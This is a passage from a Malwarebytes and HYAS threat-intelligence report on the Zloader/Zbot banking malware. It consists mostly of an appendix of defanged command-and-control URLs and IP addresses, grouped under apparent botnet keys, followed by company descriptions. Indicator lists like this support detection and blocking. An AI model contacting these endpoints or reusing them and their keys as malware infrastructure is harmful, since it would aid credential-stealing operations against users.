- fdsjfjdsjfjdsfjajjsf[.]info/gate.php
- dksadjahsfaskmsa[.]com/gate.php
- dsjdjsjdsadhasdas[.]com/web/gate.php
- iloveyoubaby1[.]pro/gate.php
- dasifosafjasfhasf[.]com
- idisaudhasdhasdj[.]com/web/gate.php
- oajdasnndkdahm[.]com/web/gate.php
- fdsjfjdsjfjdsfjfs[.]com/web/gate.php
The “Silent Night” Zloader/Zbot

- idisaudhasdhasdj[.]com/gate.php
- dasifosafjasfhasf[.]com/web/gate.php
- dsdjfhd9ddksaas[.]pro/gate.php
- fslakdasjdnsasjsj[.]com/gate.php
- dsdjfhdsufudhjas[.]com/gate.php
- fdsjfdsfjdsdjaijsj[.]com/web/gate.php
- dsksajdsadasda[.]info/gate.php
- fdsjfjdsfjdsfsh[.]com
- 188.127.226[.]197/gate.php
- dsjdsjdsadhasdas[.]com/gate.php
- oajdasndkdahm[.]com/gate.php
- idsakjfsanfaskj[.]com/gate.php
- idisaudhasdhasdj[.]info/gate.php
- djsadhsadsadjashs[.]pro/gate.php
- dasifosafjasfhasf[.]com/gate.php
- dsdjfhdsufudhjas[.]pro/gate.php
- oajdasndkdahm[.]com
- fdsjfdsfjdsdjaijsj[.]com/gate.php
- kdsidsiadsakfsas[.]com/web/gate.php
- jdafasfjsafahhs[.]com/gate.php
- dsdjfhdsufudhjas[.]com
- dsdjfhdsufudhjas[.]info/gate.php
- kasfajfsahhasf[.]com/gate.php
- fsakjdsafasifikajaf[.]pro/gate.php
- dskjdsadhsahjsas[.]info/gate.php
- jdafasfjsafahhs[.]com/web/gate.php
- fdsjfjdsfjdsfsh[.]com/gate.php
The “Silent Night” Zloader/Zbot

- fdsjfjdsfdsjdsajjs[.]com

**M9ihiu7887n78n**
- bdr.ubibanca[.]host/stat.php
- bdr.ubibanca[.]website/stat.php
- 185.185.24[.]49/gate.php
- bdr.ubibanca[.]pro/stat.php
- bdr.ubibanca[.]space/stat.php
- bdr.ubibanca[.]xyz/stat.php
- bdr.ubibanca[.]fun/stat.php

**hZRk7754w3VPIf**
- dij49jf39jfj340d[.]com/jbYm9bt/NlGkb4ivk.php
- qwd8s3j8s23h8s[.]com/jbYm9bt/NlGkb4ivk.php
- sldeodjiweiswi[.]com/jbYm9bt/NlGkb4ivk.php
- 23d8s23hs89j239sj23[.]com/jbYm9bt/NlGkb4ivk.php
- 40j9f2j9sj32ssoj[.]com/jbYm9bt/NlGkb4ivk.php
- idjwidj8f4f5ge[.]com/jbYm9bt/NlGkb4ivk.php
- 4f394j89d3j4d89j34d[.]com/jbYm9bt/NlGkb4ivk.php
- 238ehs823s8h23[.]com/jbYm9bt/NlGkb4ivk.php
- s28hs823hs823js[.]com/jbYm9bt/NlGkb4ivk.php
- js823hs23js[.]com/jbYm9bt/NlGkb4ivk.php
- d823hrd9239sdj2[.]com/jbYm9bt/NlGkb4ivk.php
- sifeiwdjiesde[.]com/jbYm9bt/NlGkb4ivk.php
- ifjedsoflvcr[.]com/jbYm9bt/NlGkb4ivk.php
- wd23h8qsh8qhs823qs[.]com/jbYm9bt/NlGkb4ivk.php
- 3re8rdr23js9[.]com/jbYm9bt/NlGkb4ivk.php
- d9j49dj923993[.]com/jbYm9bt/NlGkb4ivk.php
- isfjiaodwsoi[.]com/jbYm9bt/NlGkb4ivk.php
The “Silent Night” Zloader/Zbot

- oijdweidj34rd3[.]com/jbYm9bt/NlGkb4ivk.php
- mslfiedjssfdes[.]com/jbYm9bt/NlGkb4ivk.php

981ojqJqpMamw2K2m191b742jq
- j2888hennene[.]site/library/topikpost.php
- islacangrejo[.]fun/library/topikpost.php
- hostww.enne/gate1.php
- hahwuUmkwioq[.]site/library/topikpost.php
- thoughtlibrary[.]top/library/topikpost.php
- host.ff/gate1.php
- gertibaeronjdkwp[.]site/library/topikpost.php

f0feba219b4c1b7fc383fd65880dae50
- representis[.]xyz/gate.php
- representis[.]icu/gate.php

fkdoue9g3WE#g3233dgfd
- givlonest[.]org/tv.php
- givlonest[.]com/tv.php

kZieCw23gffpe435d
- rehoterv[.]org/sound.php
- hustlertest[.]com/sound.php
- penaght[.]org/sound.php
- brosmasters[.]com/sound.php
- teslatis[.]org/sound.php
- lonehee[.]com/sound.php
- polild[.]org/sound.php
- chorbly[.]org/sound.php
- 2.57.38.157/sound.php
- 217.138.205.135/sound.php
- postgringos[.]com/sound.php
The “Silent Night” Zloader/Zbot

- tarsilh[.]com/sound.php
- soceneo[.]com/sound.php
- nexycombats[.]com/sound.php
- banssa[.]org/sound.php
- mioniough[.]com/sound.php
- sigmark[.]org/sound.php
- horcinx[.]org/sound.php
- dandycodes[.]com/sound.php
- smoash[.]org/sound.php
- adird[.]org/sound.php
- sandyfotos[.]com/sound.php
- penaght[.]org/sound.php
- unwer[.]org/sound.php
- dolax[.]org/sound.php
- hesaista[.]org/sound.php
- tilyn[.]org/sound.php
- 162.241.70.164/sound.php
- weako[.]org/sound.php
- welefus[.]com/sound.php
- gilantec[.]org/sound.php
- rutom[.]org/sound.php
- coult[.]org/sound.php
- footmess[.]com/sound.php
- finuclier[.]com/sound.php
- flopperos[.]org/sound.php
- tarynak[.]org/sound.php
- detid[.]org/sound.php
The “Silent Night” Zloader/Zbot

- zernel[.]org/sound.php
- purots[.]com/sound.php
- milsop[.]org/sound.php
- hibsurf[.]com/sound.php
- knalc[.]com/sound.php
- pacallse[.]com/sound.php
- greenrumba[.]com/sound.php
- imosey[.]com/sound.php
- perditta[.]org/sound.php
- hinurs[.]org/sound.php
- banog[.]org/sound.php
- loots[.]org/sound.php
- norpy[.]org/sound.php
- zonaa[.]org/sound.php
- shatskie[.]org/sound.php
- surgued[.]com/sound.php
- rarigussa[.]com/sound.php
- aracp[.]org/sound.php
- evahs[.]org/sound.php
- eirry[.]org/sound.php
- lildor[.]com/sound.php
- rayonch[.]org/sound.php
- retualeigh[.]com/sound.php
- adran[.]org/sound.php
- ginibenio[.]com/sound.php
- bluslias[.]com/sound.php
The “Silent Night” Zloader/Zbot

- calul[.]org/sound.php
- vanagitah[.]com/sound.php
- cersubego[.]com/sound.php
- obeaf[.]com/sound.php
- ficutept[.]com/sound.php
- 51.83.171.27/sound.php
- adandore[.]com/sound.php
- peermems[.]com/sound.php
- buhismus[.]com/sound.php
- vacontd[.]com/sound.php
- maremeo[.]com/sound.php
- 185.236.202.146/sound.php
- gorab[.]org/sound.php
- geost[.]com/sound.php
- smeack[.]org/sound.php
- airnaa[.]org/sound.php
- dentatox[.]org/sound.php
- ciconuati[.]com/sound.php
- finib[.]org/sound.php
- smenard[.]com/sound.php
- spensores[.]com/sound.php
- itachaphi[.]com/sound.php
- starterdatas[.]com/sound.php
- ergensu[.]com/sound.php
- pitinjest[.]org/sound.php
- pitinjest[.]org/sound.php
The “Silent Night” Zloader/Zbot

- ronswank[.]com/sound.php
- klill[.]com/sound.php
- 217.138.205.159/sound.php
- tetraslims[.]com/sound.php
- grually[.]com/sound.php
- giril[.]org/sound.php
- lotio[.]org/sound.php
- naght[.]org/sound.php
- baatitot[.]com/sound.php
- stagolkk[.]com/sound.php
- 162.241.115.242/sound.php
- etized[.]org/sound.php
- veckeard[.]com/sound.php
- rhalld[.]org/sound.php
- disrelure[.]com/sound.php
- zelacarths[.]com/sound.php
- trebitmore[.]org/sound.php
- spardanos[.]com/sound.php
- invesund[.]org/sound.php
- tirdo[.]org/sound.php
- emearibys[.]com/sound.php
- watae[.]org/sound.php
- 217.138.205.136/sound.php
- namilh[.]com/sound.php
- fotonums[.]com/sound.php
- teamper[.]org/sound.php
- sentspiels[.]com/sound.php
The “Silent Night” Zloader/Zbot

- fibulu[.]org/sound.php
- adobe[.]com/sound.php
- postxer[.]com/sound.php
- kodray[.]org/sound.php
- pheia[.]com/sound.php
- lipurf[.]com/sound.php
- bunap[.]org/sound.php
- tremood[.]com/sound.php

Ts72YjsjO5TghE6m
- shotroot[.]xyz/data.php

JuXbeO5P20ewnefR4LZ81NIOZlc80IN
- 124331[.]com/success.php
- 209711[.]com/process.php
- baj3tu[.]xyz/image.php
- mayinakh[.]xyz/plugins.php
- 106311[.]com/comegetsome.php
- baj3tu[.]xyz/thread.php
- 105711[.]com/docs.php

q23Cud3xsNf3
- april30x3domain[.]com/post.php
- iawfqecrwohcxnhwtofa[.]com/post.php
- nmqsmbiabjduushksas[.]com/post.php
- cmmxhurildigqghlryq[.]com/post.php
- march262020[.]store/post.php
- march262020[.]best/post.php
- pwkqhdytsshkoibaake[.]com/post.php
- march262020[.]site/post.php
- march262020[.]tech/post.php
The “Silent Night” Zloader/Zbot

- onfovdaqqrwbvdfonof[.]com/post.php
- ojnlfjkfkkuxxd[q.]com/post.php
- marchadvertisingnetwork3[,]com/post.php
- marchadvertisingnetwork6[,]com/post.php
- fyratyubvltyyjiqgq[,]com/post.php
- wmwifbajxxbcxmucxml[,]com/post.php
- nmqsmbiajbdnuushksas[,]com/post.php
- marchadvertisingnetwork[,]com/post.php
- march262020[,]club/post.php
- april30domain[,]com/post.php
- marchadvertisingnetwork10[,]com/post.php
- marchadvertisingnetwork9[,]com/post.php
- march262020[,]network/post.php
- cmmxhurildiqghhlyq[,]com/post.php
- fvqlkedqijqgapudkgq[,]com/post.php
- march262020[,]online/post.php
- marchadvertisingnetwork4[,]com/post.php
- marchadvertisingnetwork8[,]com/post.php
- marchadvertisingnetwork2[,]com/post.php
- march262020[,]live/post.php
- fyratyubvltyyjiqgq[,]com/post.php
- march262020[,]com/post.php
- marchadvertisingnetwork5[,]com/post.php
- snnmnkxnhfwgzhqismb[,]com/post.php
- nlbfmsyplhyacxhum[,]com/post.php
- marchadvertisingnetwork7[,]com/post.php
The “Silent Night” Zloader/Zbot

82732qweiowe82782732qweiowe827
- erbscactus.at/noagate.php
- representis.icu/noagate.php
- interurbanpu.at/noagate.php
- representis.xyz/noagate.php

das32hfAN3R2TCS
- czadvokat.info/gate.php
- 195.154.119.[165]/gate.php
- akrisko.info/gate.php
- penaz.info/gate.php
- advokat-hodonin.info/gate.php

Dg3k4u3rUyEwXQsak4u3rU
- insceos.com/post.php
- grimberks.com/post.php
- monbrase.com/post.php
- plemopomps.com/post.php
- pearlsolutionis.com/post.php
- onregcan.com/post.php
- pressrealbox.com/post.php
About us

Malwarebytes

Malwarebytes is a cybersecurity company that millions worldwide trust. Malwarebytes proactively protects people and businesses against malicious threats, including ransomware, that traditional antivirus solutions miss. The company's flagship product uses signature-less technologies to detect and stop a cyberattack before damage occurs. Learn more at www.malwarebytes.com.

HYAS

Founded by a team of world-renowned security researchers, analysts and entrepreneurs, HYAS enables enterprises to detect and mitigate cyber risks before attacks happen and identify the adversaries behind them. HYAS Insight is a threat intelligence and attribution platform that improves visibility and productivity for analysts, researchers and investigators while vastly increasing the accuracy of their findings. HYAS Protect uses domain-based intelligence and attribution at the DNS layer to proactively and preemptively protect enterprises from cyberattacks, independent of protocol or attack vector. Utilized by multiple Fortune 100 enterprises, HYAS fundamentally changes how companies counter, hunt, find, and identify adversaries, enabling a proactive approach that allows enterprises to identify adversaries specifically targeting them. For more information about HYAS, visit www.hyas.com.

Copyright © 2020, Malwarebytes. All rights reserved. Malwarebytes and the Malwarebytes logo are trademarks of Malwarebytes. Other marks and brands may be claimed as the property of others. All descriptions and specifications herein are subject to change without notice and are provided without warranty of any kind.